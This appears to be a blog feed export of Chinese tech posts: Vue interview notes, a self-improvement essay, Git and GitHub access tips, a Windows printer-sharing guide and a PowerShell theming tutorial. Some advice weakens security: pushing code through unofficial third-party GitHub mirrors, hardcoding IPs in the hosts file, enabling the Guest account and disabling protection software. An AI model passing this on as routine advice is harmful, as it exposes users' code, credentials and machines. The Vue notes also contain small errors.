3. VM 是 ViewModel 数据和视图的监听层，当数据或视图发生改变时，VM层能监听到，同时把对应的另外一层改变或者重新渲染（Vue就是VM监听层）
数据层改变，vm会帮助我们重新渲染视图
视图层改变，vm会帮我们把数据重新更改

Vue的双向数据绑定原理

vue.js 是采用数据劫持结合发布者-订阅者模式的方式，通过Object.defineProperty()来劫持各个属性的setter、getter，在数据变动时发布消息给订阅者，触发相应的监听回调

Vue生命周期

总共分为8个阶段创建前/后，载入前/后，更新前/后，销毁前/后

1. beforeCreate(): 创建前，data、methods、computed以及watch上的数据和方法都不能被访问

2. created(): 创建后，实例创建完成，可以操作 data、method 里的数据，可以进行一些数据、资源的请求

3. beforeMount(): 挂载前，当前阶段虚拟 Dom 已经创建完成，即将开始渲染

4. mounted(): 挂载后，真实的 Dom 挂载完毕，数据完成双向绑定，可以访问到Dom节点，使用$refs属性对Dom进行操作

5. beforeUpdate(): 更新前，也就是响应式数据发生更新，虚拟dom重新渲染之前被触发，你可以在当前阶段进行更改据，不会造成重渲染

6. updated(): 更新后，可以执行依赖于 DOM 的操作，但是要避免更改状态，可能会导致更新无线循环

7. beforeDestory(): 销毁前，在当前阶段实例完全可以被使用

8. destoryed(): 销毁后，这个时候只剩下了dom空壳，可以执行一些优化操作，清空计时器，解除绑定事件

img

vue组件中data必须是一个函数

1. vue组件是可以被用来创建多个实例的，如果data是一个对象的话，那么所有实例就将共享同一个data对象，这种情况下修改其中一个实例的data属性，会带来其他的组件也被修改

2. 组件之间的数据是相对独立，互不影响才符合组件的思想

3. data设置为函数的形式后，每次创建组件实例，data都是一个全新的对象副本，这样达到了相互独立的目标

Vue的DOM操作是同步还是异步？

vue中对DOM的操作都是异步的
当 this.name = 'hello' 修改data后，视图view不会立即发生
而是vue会把此次DOM操作放到事件队列里，待一定时机后，在更新队列里的操作

computed和watch的区别

计算属性：computed

1. 支持缓存，只有依赖数据发生改变，才会重新进行计算

2. 不支持异步，当computed内有异步操作时无效，无法监听数据的变化

3. computed 属性值会默认走缓存，计算属性是基于它们的响应式依赖进行缓存的，也就是基于data中声明过或者父组件传递的props中的数据通过计算得到的值

4. 如果一个属性是由其他属性计算而来的，这个属性依赖其他属性，是一个多对一或者一对一，一般用computed

5. 如果computed属性属性值是函数，那么默认会走get方法；函数的返回值就是属性的属性值；在computed中的，属性都有一个get和一个set方法，当数据变化时，调用set方法

监听属性：watch

1. 不支持缓存，数据表，直接会触发相应的操作

2. watch支持异步

3. 监听的函数接收两个参数，第一个参数是最新的值；第二个参数是输入之前的旧值

4. 当一个属性发生变化时，需要执行对应的操作；一对多

5. 监听数据必须是data中声明过或者父组件传递过来的props中的数据，当数据变化时，触发其他操作，函数有两个参数

immediate：组件加载立即触发回调函数执行

watch: {
  firstName: {
    handler(newName, oldName) {
      this.fullName = newName + ' ' + this.lastName;
    },
    // 代表在wacth里声明了firstName这个方法之后立即执行handler方法
    immediate: true
  }
}

deep: deep的意思就是深入观察，监听器会一层层的往下遍历，给对象的所有属性都加上这个监听器，但是这样性能开销就会非常大了，任何修改obj里面任何一个属性都会触发这个监听器里的 handler

watch: {
  obj: {
    handler(newName, oldName) {
      console.log('obj.a changed');
    },
    immediate: true,
    deep: true
  }
}

优化：我们可以使用字符串的形式监听

watch: {
  'obj.a': {
    handler(newName, oldName) {
      console.log('obj.a changed');
    },
    immediate: true,
    // deep: true
  }
}

这样Vue.js才会一层一层解析下去，直到遇到属性a，然后才给a设置监听函数

v-if 和 v-show 区别

// 相同点
都能动态的控制元素的显示和隐藏

// 不同点
v-if： 是动态的添加或删除dom元素（通过销毁和重建DOM元素）
v-show： 通过CSS的display属性：none和block控制显示隐藏

// 总结：
如果需要频繁切换某节点，使用 v-show（初始渲染开销较大，切换开销比较小）
如果不需要频繁切换某节点，使用 v-if（初始渲染开销较小，切换开销比较大）

vue中$nextTick有什么作用

处理数据动态变化后，dom还未及时更新的问题。$nextTick就可以获取到数据更新后最新的dom变化

对keep-alive的了解

keep-alive是 Vue 内置的一个组件，可以使被包含的组件保留状态，或避免重新渲染

vue-loader是什么

vue文件的一个加载器，跟template/js/style转换成js模块

v-modal的使用

v-model 用于表单数据的双向绑定，其实它就是一个语法糖，这个背后就做了两个操作：
v-bind 绑定一个value属性；
v-on 指令给当前元素绑定input事件

v-for key的作用

1. 在对节点进行diff的过程中，判断是否为相同节点的一个很重要的条件是key是否相等，如果是相同节点，则会尽可能的复用原有的DOM节点
2. 需要使用key来给每个节点做一个唯一标识，Diff算法就可以正确的识别此节点。
3. 作用主要是为了高效的更新虚拟DOM

v-for 和 v-if 为什么不能连用

v-for 会比 v-if 的优先级更高，连用的话会把 v-if 的每个元素都添加一下，造成性能问题

v-on可以监听多个方法吗

可以
<input type="text" v-on="{ input: onInput, focus: onFocus, blur: onBlur, }" />

组件传值

父传子

通过props传递

父组件： <child value = '传递的数据' />

子组件: props['value'],接收数据,接受之后使用和data中定义数据使用方式一样

子传父

在父组件中给子组件绑定一个自定义的事件，子组件通过$emit()触发该事件并传值

父组件： <child @click = 'onClick' />

子组件: this.$emit('click','传递的数据')

兄弟组件传值

1、通过中央通信 let bus = new Vue()

A：methods :{ 函数{bus.$emit('自定义事件名'，数据) } 发送

B：created （）{ bus.$on('A发送过来的自定义事件名'，函数) } 进行数据接收

2、通过vuex

vue如何获取dom

先给标签设置一个ref值，再通过this.$refs.domName获取，例如：

<div ref="test"></div>

const dom = this.$refs.test

vue常用的修饰符

.stop：等同于JavaScript中的event.stopPropagation()，防止事件冒泡

.prevent：等同于JavaScript中的event.preventDefault()，防止执行预设的行为（如果事件可取消，则取消该事件，而不停止事件的进一步传播

.capture：与事件冒泡的方向相反，事件捕获由外到内

.self：只会触发自己范围内的事件，不包含子元素

.once：只会触发一次

vue如何监听对象或数组某个属性的变化

当在项目中直接设置数组的某一项的值，或者直接设置对象的某个属性值，这个时候，你会发现页面并没有更新。这是因为Object.defineprototype()限制，监听不到变化

解决方式

this.$set(你要改变的数组/对象，你要改变的位置/key，你要改成什么value)

this.$set(this.arr, 0, "李四"); // 改变数组

this.$set(this.obj, "name", "张三"); // 改变对象

vue更新数组时触发视图更新的方法

push()、pop()、shift()、unshift()、splice()、sort()、reverse()

意思是使用这些方法不用我们再进行额外的操作，视图自动进行更新。推荐使用splice方法会比较好自定义,因为splice可以在数组的任何位置进行删除/添加操作

assets和static的区别

// 相同点
1. assets 和 static 两个都是用来存放静态资源文件
2. 项目中所需要的资源文件图片、字体图标、CSS样式文件等都可以放在这两个目录下

// 不同点
1. assets 中存放的静态资源文件在项目打包时，即：在运行 npm run build 时，会将 assets 中放置的静态资源文件进行打包上传（所谓打包，简单点可以理解为压缩体积、代码格式化），而压缩后的静态资源文件最终也都会放置在 static 目录中跟着 index.html 一同上传至服务器

2. static 中存放的静态资源文件不会要走打包压缩格式化等流程，而是直接进入打包好的目录，直接上传至服务器。因为避免了压缩直接进行上传，在打包时会提高一定的效率，但是 static 中的资源文件由于没有进行压缩等操作，所以文件的体积也就相对于 assets 中打包后的文件提交大一点儿，在服务器中就会占据更大的空间

​ 注：将项目中 template 需要的样式文件、 js 文件等都可以放置在 assets 中，走打包这一流程，减少体积；而项目中引入的第三方的资源文件，如：iconfont.css 等文件可以放置在 static 中，因为这些引入的第三方文件已经经过处理，我们不再需要处理，直接上传

Vuex是什么

Vuex 是一个专为 Vue.js应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态，并以相应的规则保证状态以一种可预测的方式发生变化

一共有5个核心属性：

state 唯一数据源,Vue 实例中的 data 遵循相同的规则

getters 可以认为是 store 的计算属性,就像计算属性一样，getter 的返回值会根据它的依赖被缓存起来，且只有当它的依赖值发生了改变才会被重新计算。Getter 会暴露为 store.getters 对象，你可以以属性的形式访问这些值

mutation 更改 Vuex 的 store 中的状态的唯一方法是提交 mutation,非常类似于事件,通过store.commit 方法触发

action类似于 mutation，不同在于Action 提交的是 mutation，而不是直接变更状态，Action 可以包含任意异步操作

module 由于使用单一状态树，应用的所有状态会集中到一个比较大的对象。当应用变得非常复杂时，store 对象就有可能变得相当臃肿。为了解决以上问题，Vuex 允许我们将 store 分割成模块（module）

vuex中的数据在页面刷新后数据消失

用sessionstorage 或者 localstorage 存储数据

存储：localStorage.setItem( '名', JSON.stringify(值) )

使用：localStorage.getItem('名') ---得到的值为字符串类型，用JSON.parse()去引号

vue哪几种情况会视图不更新

数组数据变动，使用某些方法操作数组，变动数据时，有些方法无法被vue监测

push()，pop()，shift()，unshift()，splice()，sort()，reverse() 可被vue检测到

filter(), concat(), slice() 这些不会改变原始数组，但总是返回一个新数组。当使用非变异方法时，可以用新数组替换旧数组

vue不能检测以下变动的数组：
1. 当你利用索引直接设置一个项时，vm.items[index] = newValue
2. 当你修改数组的长度时，例如： vm.items.length = newLength

对象属性的添加或删除

由于 Vue 会在初始化实例时对属性执行 getter/setter 转化过程，所以属性必须在 data 对象上存在才能让 Vue 转换它，这样才能让它是响应的

// 解决办法：
使用 Vue.set(object, key, value) 方法将响应属性添加到嵌套的对象上

Vue.set(vm.someObject, 'b', 2) 或者 this.$set(this.someObject,'b',2) （这也是全局 Vue.set 方法的别名）

vue多层循环，动态改变数据后渲染的很慢或者不渲染

// 可在动态改变数据的方法，第一行加上
this.$forceUpdate();

什么是vue-router

Vue Router 是 Vue.js 官方的路由管理器。它和 Vue.js 的核心深度集成，让构建单页面应用变得易如反掌。包含的功能有：

- 嵌套的路由/视图表
- 模块化的、基于组件的路由配置
- 路由参数、查询、通配符
- 基于 Vue.js 过渡系统的视图过渡效果
- 细粒度的导航控制
- 带有自动激活的 CSS class 的链接
- HTML5 历史模式或 hash 模式，在 IE9 中自动降级
- 自定义的滚动条行为

router和route的区别

$router 是路由实例对象，包含了路由的跳转方法，钩子函数等

$route 是当前路由内的路由信息对象，包括path、params、hash、query、name等属性信息

vue的query和params区别

用法：query要用path来引入，params要用name来引入，接收参数都是类似的，分别是
this.$route.query.name 和 this.$route.params.name

url地址显示：query更加类似于get传参，params则类似于post，说的再简单一点，前者在浏览器地址栏中显示参数，后者则不显示
注意点：query刷新不会丢失query里面的数据

传参和接收参数

// 传参: 
this.$router.push({
        path:'/xxx',
        query:{
          id:id
        }
      })
  
// 接收参数:
this.$route.query.id
// 传参: 
this.$router.push({
        name:'xxx',
        params:{
          id:id
        }
      })
  
// 接收参数:
this.$route.params.id

params传参，push里面只能是 name:’xxxx’，不能是path:’/xxx’，因为params只能用name来引入路由，如果这里写成了path，接收参数页面会是undefined

路由设置

使用params方法传参的时候，要在路由后面加参数名，而query方法，就没有这种限制

{
    path: '/index/:id', // 接收参数的路由，使用params传参要加参数名，这里的id就是参数名
    name: 'index',
    component: () => import('./view/index'),
}

使用params方法，如果路由上面不写参数，也是可以传过去的，但不会在url上面显示出你的参数，并且当你跳到别的页面或者刷新页面的时候参数会丢失

总结：使用query传参的话，会在浏览器的url栏看到传的参数类似于get请求，使用params传参的话则不会，类似于post请求

vue路由 hash 和 history 区别

hashhistory
url显示有#无#
回车刷新可以加载到hash值对应页面一般就是404掉了
支持版本支持低版本和IE浏览器HTML5新推出的API
1. hash(默认) —— hash 模式 url 里面永远带着 # 号,我们在开发中默认使用这个模式
比如这个 URL：http://www.abc.com/#/hello，hash 的值为 #/hello。它的特点在于：hash 虽然出现在 URL 中，但不会被包括在 HTTP 请求中，对后端完全没有影响，因此改变 hash 不会重新加载页面

2. history —— 利用了 HTML5 History Interface 中新增的 pushState() 和 replaceState() 方法

当然啦，history 也不是样样都好。SPA 虽然在浏览器里游刃有余，但真要通过 URL 向后端发起 HTTP 请求时，两者的差异就来了。尤其在用户手动输入 URL 后回车，或者刷新（重启）浏览器的时候。

hash 模式下，仅 hash 符号之前的内容会被包含在请求中，如 http://www.abc.com，因此对于后端来说，即使没有做到对路由的全覆盖，也不会返回 404 错误。

history 模式下，前端的 URL 必须和实际向后端发起请求的 URL 一致，如 http://www.abc.com/book/id。如果后端缺少对 /book/id 的路由处理，将返回 404 错误。Vue-Router 官网里如此描述：“不过这种模式要玩好，还需要后台配置支持……所以呢，你要在服务端增加一个覆盖所有情况的候选资源：如果 URL 匹配不到任何静态资源，则应该返回同一个 index.html 页面，这个页面就是你 app 依赖的页面。

history模式怕啥
通过history api，我们丢掉了丑陋的#，但是它也有个毛病：
不怕前进，不怕后退，就怕刷新，f5，（如果后端没有准备的话）,因为刷新是实实在在地去请求服务器的,不玩虚的。

在hash模式下，前端路由修改的是#中的信息，而浏览器请求时是不带它玩的，所以没有问题.但是在history下，你可以自由的修改path，当刷新时，如果服务器中没有相应的响应或者资源，会分分钟刷出一个404来

Vue性能优化

  • 事件代理

  • keep-alive

  • 拆分组件

  • key 保证唯一性

  • 路由懒加载、异步组件

  • 防抖节流

  • 第三方模块按需导入（babel-plugin-component ）

  • 图片懒加载

vue初始化页面闪动问题

使用vue开发时，在vue初始化之前，由于div是不归vue管的，所以我们写的代码在还没有解析的情况下会容易出现花屏现象，看到类似于
{{ message }} 的字样，虽然一般情况下这个时间很短暂，但是我们还是有必要让解决这个问题的。
首先：在css里加上
[v-cloak] {
display: none;
}

提高首屏加载速度的优化方案

1. 采用路由懒加载
2. 将一些静态js css放到其他地方（如OSS），减小服务器压力
3. 按需加载三方资源，如element,建议按需引入element中的组件
4. 使用nginx开启gzip减小网络传输的流量大小
5. webpack开启gzip压缩
6. 若首屏为登录页，可以做成多入口，登录页单独分离为一个入口
7. 图片懒加载方案

单页面应用和多页面应用区别及优缺点

答：
单页面应用（SPA），通俗一点说就是指只有一个主页面的应用，浏览器一开始要加载所有必须的 html, js, css。所有的页面内容都包含在这个所谓的主页面中。但在写的时候，还是会分开写（页面片段），然后在交互的时候由路由程序动态载入，单页面的页面跳转，仅刷新局部资源。多应用于pc端。

多页面（MPA），就是指一个应用中有多个页面，页面跳转时是整页刷新
单页面的优点：
用户体验好，快，内容的改变不需要重新加载整个页面，基于这一点spa对服务器压力较小；前后端分离；页面效果会比较炫酷（比如切换页面内容时的专场动画）

单页面缺点：
不利于seo；导航不可用，如果一定要导航需要自行实现前进、后退。（由于是单页面不能用浏览器的前进后退功能，所以需要自己建立堆栈管理）；初次加载时耗时多；页面复杂度提高很多
]]> vue web vue 深度思考，拯救低效勤奋 /2021/07/30/shen-du-si-kao-zheng-jiu-di-xiao-qin-fen/ 深度思考，拯救低效勤奋

众所周知，勤奋是一种很好的品质，我们想要做成一件事，达成一个好的结果，往往都离不开这种品质。

但是，勤奋是有前提条件的，若是大的前提出现了问题，那么再勤奋往往也没有任何价值。

比如说，我们都知道的「拔苗助长」这个故事。

故事中的主人公算是很勤奋的，在田地里忙活了一整天，但因为他违背了禾苗生长的自然规律，结果就是再勤奋，也没有用，反而损失惨重。

那么，勤奋的前提条件是什么呢？

答案是：深度思考。

有价值、有效的勤奋和努力，往往都建立在深度思考之上，没有深度思考的勤奋，通常都在做无用功。

今天这篇文章就来聊一聊「深度思考」这个问题。

01 不愿深度思考，难怪你混的不好

张三和李四相约一起进山里砍柴。

为了第二天能早点到山里，张三在前天晚上早早地就睡下了，而李四睡的则较晚一些，因为他花了点时间将斧子给磨了下。

第二天早上，张三很早就进了山里，一刻也不停歇，使出浑身力气砍柴，毕竟多砍一捆就能多一点收入。

等李四到山上的时候，张三已经砍好了两捆，虽然来得迟一些，但李四的速度很快，一会功夫就超过了张三。

到了中午，李四停下来磨斧子，他招呼张三也停下来休息一会，建议他将斧子磨一磨，再砍也不迟。

张三没理他，心里寻思着，我才不浪费时间，有这休息的功夫，我还可以多砍一些。

傍晚下山的时候，李四砍的柴捆数量足足是张三的两倍。

在接下来的几天里，每天都是这样的结果，李四虽然去的比较晚，而且还总是停下来休息，甚至中途还去摘一些果子带回去给孩子，但砍柴的数量却总是比张三多出不少。

张三就很费解，他问李四：我每天这么努力，起早贪黑地干，连休息的时间都没有，可为什么就是干不过你呢？

李四说，砍柴除了技术和力气，我们手里的斧子也很重要，我经常磨刀，刀锋锋利，自然就会砍的快一些，也更省力，你从来不磨刀，斧头越来越钝，当然既费力又砍的少了。

这就是「磨刀不误砍柴工」的故事，虽然很多人都知道这个经典的故事，也都理解其中的道理，但往往也仅仅是知道而已。

为什么这么说呢？

因为他们压根就没有从中吸取到教训，仍然在干着和张三一样的事：低效勤奋。

很多人看上去真的很勤奋，很努力，很能吃苦耐劳，但所取得的成绩却总是不太理想，付出和收获不成正比。

通常情况下，这种「忙而无获」最本质的原因，其实就是勤奋的很低效，甚至是无效。

之所以会出现这样的情况，原因往往就是缺少深度思考，而庸者和强者，普通人和精英之间的差距，往往也就在这里。

02 思考的深度，决定你的高度

说了这么多，很多人的心里可能会有两个问题

1. 什么是深度思考？

2. 如何才能做到深度思考？

先来看第一个问题：什么是深度思考？

曾担任香奈儿全球CEO，被称为「新一代香奈儿女王」的莫琳·希凯写过一本书《深度思考：不断逼近问题的本质》。

所谓「深度思考」，其实就是一种不断逼近问题本质的行为，对问题挖得越深，就越接近真相。

所以，如果想要彻底解决问题，想要努力的有价值，那么深度思考就是必不可少的一个环节。

再来看第二个问题：如何才能做到深度思考？

有三个必要的条件。

1. 独处

没有一定的独处能力，那么就很难有「深度思考」的可能性，这是想要做到深度思考的第一个必要条件。

在《乌合之众》里有这样一句话：

人一到群体中，智商就严重降低，为了获得认同，个体愿意抛弃是非，用智商去换取那份让人备感安全的归属感。

简单来讲，就是人在群体中往往就失去了思考的能力，而这就是我们为什么要有独处能力的原因。

很多问题和事情，需要我们静下心来去好好思量，好好想想的，心越静，思想往往就越深邃。

2. 知识

独处是最基础的一个条件，并不是说只要静下心来思考，就一定可以做到对问题的深度思考。

比如说，在我们考试的时候，不管你再怎么静下心来思考，不会做的题目还是一样不会做。

所以，想要做到深度思考的第二个必要条件，就是要有一定的知识储备来支撑你的思考。

知识的储备，通常有两个来源，一是经验和阅历，二是看书阅读，这也是我经常说人要多读书，多出去见见世面的原因。

你的见识越多、越广，知识储备越丰富，往往就越能对问题有深度的思考和认知。

3. 练习

深度思考是一种能力，并不是天赋，既然是能力，那就是说可以通过练习来获取的。

想要一下子就能达到对问题有深度思考的级别，这是不现实的，除了长年累月的知识储备之外，我们还得刻意练习这种能力。

遇到问题，多问几个为什么，多从几个角度去看问题，不要迷信权威和唯一的答案，多持怀疑态度。

这不是神经质，而是通过一次次小的练习来培养思考的习惯，以及思维上的开悟，人的脑子总是越用越灵光的。

在前行的路上，如果发现自己的努力很低效的话，那么是时候停下来思考思考了，你思考的深度，往往能决定你的人生高度。

磨刀不误砍柴工，请铭记于心。

]]> 总结 反思 总结 Git默认编辑器设置 /2021/07/30/git-mo-ren-bian-ji-qi-she-zhi/ 将Git的默认编辑器设置为VS Code

windows用户运行git bash并输入以下代码

git config --global core.editor "code -w"

操作步骤

1.`git reabse -i HEAD~2`合并多个提交时,会默认打开Vscode,
2.修改内容并保存,然后关闭
3.git会继续打开更改后的内容,无需修改,直接关闭就好了
]]> git Git 编辑器 分析github推送以及访问github慢的原因 /2021/07/29/fen-xi-github-tui-song-yi-ji-fang-wen-github-man-de-yuan-yin/ 分析github推送以及访问github慢的原因

分析推送慢

1. github.com服务器在境外,境内访问较慢

可以采用国内的镜像源做推送,

http镜像

https://github.com.cnpmjs.org

举例:https://github.com.cnpmjs.org/fhefh2015/Fast-GitHub.git

ssh镜像

git.zhlh6.cn

举例:git@git.zhlh6.cn:fhefh2015/Fast-GitHub.git

更换前

image-20210730101231970

更换后

image-20210730101314358

​ 2.更换源步骤

1. git remote -vv //查看本地仓库源
❯ git remote -vv
origin  git@github.com:lexxxg/cxxx.git (fetch)
origin  git@github.com:lexxxg/cxxx.git (push)

2. git remote rm origin   //删除该分支

3. git remote add origin git@git.zhlh6.cn:lexxxg/cxxx.git//将其中github.com替换为git.zhlh6.cn

4. git remote -vv //再次查看本地仓库源
❯ git remote -vv
origin  git@github.com.cnpmjs.org:lexxxg/cxxx.git (fetch)
origin  git@github.com.cnpmjs.org:lexxxg/cxxx.git (push)

恭喜你可以愉快地使用github clone 和 推送了

分析访问慢

1.国内访问 GitHub 为什么很慢？

GitHub的CDN域名遭到DNS污染，导致无法连接使用 GitHub 的加速分发服务器，才使得国内访问速度很慢。

2.如何解决 DNS 污染？

通过修改 Hosts 文件，将域名解析直接指向 IP 地址来绕过 DNS 的解析，以此解决污染问题。

3.具体步骤

1、获取Github的ip地址

通过访问 https://www.ipaddress.com/ 这个网站来获取当前github最新的ip地址。

image-20210730102334400

image-20210730102427017

  1. 修改 host 文件 位置:C:\Windows\System32\drivers\etc

192.30.253.112 github.com
192.30.253.113 github.com
151.101.185.194 github.global.ssl.fastly.net

  1. 更新dns缓存

ipconfig /flushdns

]]> Gihub Git Gihub Win10局域网机共享教程（内含详细图文） /2021/06/30/win10-ju-yu-wang-ji-gong-xiang-jiao-cheng-nei-han-xiang-xi-tu-wen/ Win10局域网机共享教程（内含详细图文）

本文将详细介绍Win7下如何实现同个局域网内共享机。经测试，Win10/Win7/XP之间均可正常连接。

第一步：取消禁用Guest用户

  1. 点击【开始】按钮，在【计算机】上右键，选择【管理】，如下图所示：

image-20210630224804060

  1. 在弹出的【计算机管理】在本地用户和组列表中找到【Guest】用户，如下图所示：

image-20210630224841758

  1. 双击【Guest】，打开【Guest属性】窗口，确保【账户已禁用】选项没有被勾选，如下图：

image-20210630224906839

第二步：共享目标打印机

  1. 快捷键【win I】，选择【设备】，选择设备与打印机，如下图：

image-20210630224931869

image-20210630225028057

  1. 在弹出的窗口中找到想共享的打印机（前提是打印机已正确连接，驱动已正确安装），在该打印机上右键，选择【打印机属性】，如下图：

image-20210630225057126

  1. 切换到【共享】选项卡，勾选【共享这台打印机】，并且设置一个共享名（请记住该共享名，后面的设置可能会用到），如下图：

image-20210630225123914

第三步：进行高级共享设置

  1. 在右下角系统托盘的网络连接图标上右键，选择【打开网络和共享中心】，如下图：

image-20210630225218318

  1. 单击列表中的【更改高级共享设置】，如下图：

image-20210630225246235

  1. 具体设置可参考下图，其中的关键选项已经用红圈标示，设置完成后不要忘记保存修改。

image-20210630225306913

image-20210630225334666

注意：如果是工作或专用网络，具体设置和上面的情况类似，相应地应该设置选项，如下图：　

image-20210630225354701

第四步：设置工作组

　　在添加目标打印机之前，首先要确定局域网内的计算机是否都处于一个工作组，具体过程如下：

  1. 点击【开始】按钮，在【计算机】上右键，选择【属性】，如下图：

image-20210630225414293

  1. 在弹出的窗口中找到工作组，如果计算机的工作组设置不一致，请点击【更改设置】；如果一致可以直接退出，跳到第五步。

　　注意：请记住【计算机名】，后面的设置会用到。

image-20210630225652231

win10更新后在这里

image-20210630225606238

image-20210630225638892

  1. 如果处于不同的工作组，可以在此窗口中进行设置：

image-20210630225821540

注意：此设置要在重启后才能生效，所以在设置完成后不要忘记重启一下计算机，使设置生效。

第五步：在其他计算机上添加目标打印机

　　注意：此步操作是在局域网内的其他需要共享打印机的计算机上进行的。此步操作在Win7和XP系统中的过程是类似的，本文以Win10为例进行介绍。

　　添加的方法有多种，在此为小编只介绍两种。

　　首先，无论使用哪种方法，都应先进入【控制面板】{（Win X） P}，打开【设备和打印机】窗口，并点击【添加打印机】，如下图：

image-20210630225847013

系统会自动搜索可用的打印机。

　　如果前面的几步设置都正确的话，那么只要耐心一点等待，一般系统都能找到，接下来只需跟着提示一步步操作就行了。

　　原谅小编机器也没找到…可直接点击【我所需的打印机未列出】，然后点击【下一步】，如下图：

image-20210630225911685

　接下来的设置就有多种方法了。

　　第一种方法：

　　1. 选择【按名称选择共享打印机】，点击【下一步】，如下图：

image-20210630225928590

  1. 找到连接着打印机的计算机，点击【选择】，如下图：

image-20210630225947497

  1. 选择目标机器（打印机名就是在第二步中设置的名称），点击【选择】，如下图：

image-20210630230005463

接下来的操作比较简单，系统会自动找到并把该打印机的驱动安装好。至此，打印机已成功添加。

　　第二种方法：

　　1. 在【添加打印机】窗口选择【按名称选择共享打印机】，直接输入“\计算机名\打印机名”（计算机名和打印机在上文中均有提及，不清楚的朋友往上翻）。如果前面的设置正确的话，当还输入完系统就会给出提示（如下图）。

　　接着点击【下一步】。

image-20210630230023632

注意：如果此步操作中系统没有自动给出提示，那么很可能直接点击【下一步】会无法找到目标打印机，此时我们可以把“计算机名”用“IP”来替换，如下：

　　例如小编主机IP为192.168.21.170，那么则应输入“\192.168.21.170\Sharp MX-M350U PCL 6”。查看系统IP的方法如下：

1.1 系统托盘【网络】图标上右键，选择【打开网络和共享中心】，如下图：

image-20210630230051514

1.2 在【网络和共享中心】找到【本地连接】，单击，如下图：

image-20210630230108796

1.3 在弹出的【本地连接 状态】窗口中点击【详细信息】，IPv4 地址就是本机的IP地址。

image-20210630230125452

当然你也可以直接通过快捷键“win R—>cmd—>ipconfig/all”来查看。

  1. 接下来继续前面的步骤，和第一种方法一样，系统会找到该设备并安装好驱动，只需耐性等待即可（如下图）。

image-20210630230147231

  1. 接着系统会给出提示，告诉用户打印机已成功添加，直接点击【下一步】，如下图：

image-20210630230205106

  1. 至此，打印机已添加完毕，如有需要用户可点击【打印测试页】，测试一下打机是否能正常工作，也可以直接点击【完成】退出此窗口，如下图：image-20210630230225195

成功添加后，在【控制面板】的【设备和打印机】窗口中，可以看到新添加的打印机，如下图：

image-20210630230301813

至此，整个过程均已完成，没介绍的其他方法（使用TCP/IP地址或主机名添加打印机）也比较简单，过程类似，这里不想赘述。

　　如果有朋友在第四步的设置中无法成功，那么很有可能是防护软件的问题，可对防护软件进行相应的设置或把防护软件关闭后再尝试添加。

　　最后，希望本文对壳粉们有所帮助。

　　PS：有不明白或遇到问题的朋友可以给我留言，反正小编也不会回复你。

]]> 打印机 教程 Windows10安装Windows Terminal + oh-my-posh /2021/06/26/windows10-an-zhuang-windows-terminal-omyzsh/ Windows10安装Windows Terminal + oh-my-posh

各位 Windows 开发者，是不是很羡慕他们 Linux 和 mac 用户的 terminal 在配置过 oh-my-zsh 之后变得非常漂亮？现在不用羡慕了，因为你的 Powershell 也可以变得非常漂亮

安装步骤

1. 步骤一

首先得为 Powershell 安装必要的插件，安装这些插件需要管理员权限，所以别忘了以管理员身份启动 Powershell。

# 为当前用户安装 posh-git
Install-Module posh-git -Scope CurrentUser
# 为当前用户安装 oh-my-posh
Install-Module oh-my-posh -Scope CurrentUser

2.添加配置文件

然后打开PowerShell配置文件，这个文件你可以通过notepad $PROFILE命令打开编辑，当然notepad也可以换成你自己常用的文本编辑器。

image-20210626111556535

如果没有可以拷贝下面的内容 并且 更改文件名为Microsoft.PowerShell_profile.ps1

Import-Module posh-git # 引入 posh-git
Import-Module oh-my-posh # 引入 oh-my-posh
Set-PoshPrompt -Theme Paradox # 设置主题为 Paradox

#Set-PSReadLineOption -PredictionSource History # 设置预测文本来源为历史记录
 
Set-PSReadlineKeyHandler -Chord Tab -Function Complete # 设置 Tab 键补全
Set-PSReadLineKeyHandler -Chord Ctrl+d -Function MenuComplete # 设置 Ctrl+d 为菜单补全和 Intellisense
Set-PSReadLineKeyHandler -Chord Ctrl+z -Function Undo # 设置 Ctrl+z 为撤销
Set-PSReadLineKeyHandler -Chord Ctrl+u -Function RevertLine # 设置 Ctrl+u 为重置行
Set-PSReadLineKeyHandler -Chord UpArrow -Function HistorySearchBackward # 设置向上键为后向搜索历史记录
Set-PSReadLineKeyHandler -Chord DownArrow -Function HistorySearchForward # 设置向下键为前向搜索历史纪录
# Chocolatey profile
$ChocolateyProfile = "$env:ChocolateyInstall\helpers\chocolateyProfile.psm1"
if (Test-Path($ChocolateyProfile)) {
  Import-Module "$ChocolateyProfile"
}

其中快捷键的设置可以根据自己需要随意配置，具体文档看这 PSReadLine

然后关闭powershell再次重新打开

3.安装字体

oh-my-posh 和 oh-my-zsh 一样，需要一套带各种图标的等宽字体才能正常的显示，所以我们现在该去安装字体了。

对于字体，你可以有以下几种选择方案：

  • 直接按教程来，使用Cascadia Code PL字体，字体可以在这里下载
  • 或者在 Nerd Fonts 这个网站中下载字体，这个网站的字体几乎都是为了开发定制的

安装好之后右键 Powershell 的菜单栏，打开属性 -> 字体，把字体设置为上面安装的字体之后就可以了。

安装 Windows Terminal

巨硬新款终端，帅气又漂亮，安装也非常简单，打开 Microsoft Store 直接搜索 Windows Terminal 然后安装就行了，至于 Windows Terminal 本身的配置的话，截至本文发布时间，已经可以支持界面化设置，不用再直接修改配置文件了，所以对于设置就不过多赘述了。

image-20210626111803571

4.可能会出现的情况

powershell中文乱码image-20210626112340986

解决方案

cmd 控制台默认编码，一般是简体中文默认的GBK，如果出现中文乱码，一般改为UTF-8可解决。

打开 cmd 控制台窗口

win（窗口键，在Ctrl与Alt之间）+R，输入 cmd，回车，这样操作会打开 cmd 控制台窗口。

检查当前的编码
C:\Users\AndyChen>chcp
Active code page: 936

显示当家的编码格式为 936。

常用的编码及对应的码值(10进制)
十进制码值对应编码名称
950繁体中文
65001Unicode (UTF-8)
936简体中文默认的GBK
437MS-DOS 美国英语
测试中文显示

将以下代码保存为一个批处理文件，如 test.bat，或者 test.cmd，双击运行

@echo off
echo test chinese character view  测试中文字符显示
pause

我的测试如下：

test chinese character view  娴嬭瘯涓枃瀛楃鏄剧ず
Press any key to continue . . .

当为936时，中文显示乱码。

修改控制台CMD编码格式为UTF-8
临时修改为 UTF-8

执行 chcp 65001

C:\Users\AndyChen>chcp 65001
Active code page: 65001

这种方式在关闭 cmd 之后会自动失效，下次再打开，还是会变回默认的 936。

永久修改方法一

  1. win+R 或者点击开始菜单，找到运行，在运行输入框里面输入

    regedit

    ，回车，会打开注册码编辑窗口，在地址栏输入：

    Computer\HKEY_CURRENT_USER\Console\%SystemRoot%_System32_cmd.exe

    ，回车。

    img

  2. 双击

CodePage

然后先择十进制，改为65001。

img

